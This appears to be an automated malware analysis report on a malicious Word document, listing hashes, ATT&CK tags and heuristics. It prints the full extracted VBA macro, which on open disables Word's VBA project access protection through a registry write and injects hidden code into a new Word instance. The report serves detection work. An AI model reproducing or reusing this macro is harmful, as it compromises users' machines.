Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 044f50caf30e713e…

MALICIOUS

Office (OOXML)

46.3 KB Created: 2021-05-12 10:49:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-26
MD5: 5fba395fa978277ee768496ae82dab10 SHA-1: 158956801c5ad2e5c3c786a85b31dc09865f62d2 SHA-256: 044f50caf30e713eec29776cb85e9410be4974904450333223fe696762d6ee3b
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1137.001 Office Application Startup: Office Application

The sample contains a malicious VBA macro with an AutoOpen subroutine that uses WScript.Shell and CreateObject to execute code. The script attempts to construct a registry path for persistence or configuration: 'HKEY_CURRENT_USER\Software\Microsoft\Office\Word\Security\Access1OMB'. The macro likely downloads and executes a second-stage payload, indicated by the use of Shell() and WScript.Shell.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub collectionReferenceGeneric()
    With CreateObject("wscript.shell")
    .RegWrite textTable & arrayLibRepo & ExConvertGlobal, 1, "REG_D" & UCase(ALoadMemory)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub vbProcedureView(ptrOptionRef As String)
    Set ExTrustWindow = CreateObject("word.application")
    With ExTrustWindow.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub AUTOOPEN()
    ExLinkDelete
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2087 bytes
SHA-256: 03d3305b4d9667623cc2d90e64347afa771752ebd564a906f5154e2ed3dede28
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{DBE6FC7E-2998-4A3E-91F7-C3DC249B5AE6}{427660BF-304D-4CBF-B23F-A262C0B169D3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "memoryBufCollection"
Function classArgument()
classArgument = UCase("_current_")
End Function
Function textboxButtonTmp()
textboxButtonTmp = "ware\Microsoft\Off"
End Function
Sub AUTOOPEN()
ExLinkDelete
Dim ExScreen As String
ExScreen = StrReverse(UserForm1.TextBox1)
vbProcedureView ExScreen
End Sub

Attribute VB_Name = "borderTrust"
Sub vbProcedureView(ptrOptionRef As String)
Set ExTrustWindow = CreateObject("word.application")
With ExTrustWindow.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString ptrOptionRef
End With
ExTrustWindow.Visible = False
ExTrustWindow.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "titleListLink"
Function textTable()
textTable = "HKEY" & classArgument & "USER\Soft" & textboxButtonTmp & "ice\"
End Function
Function ExConvertGlobal()
ExConvertGlobal = "\Word\Secur" & nextBuffer
End Function
Function nextBuffer()
nextBuffer = Replace("ity\Access1OM", "1", "VB")
End Function
Sub ExLinkDelete()
collectionReferenceGeneric
End Sub

Attribute VB_Name = "constStructLeft"
Function arrayLibRepo()
arrayLibRepo = Application.Version
End Function
Function ALoadMemory()
ALoadMemory = "word"
End Function
Sub collectionReferenceGeneric()
With CreateObject("wscript.shell")
.RegWrite textTable & arrayLibRepo & ExConvertGlobal, 1, "REG_D" & UCase(ALoadMemory)
End With
End Sub
Function lenListbox()
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 25600 bytes
SHA-256: fae414f022b93cd6667f5e272e0cc5298055fb9fb298ed2f378c9b9609065f2a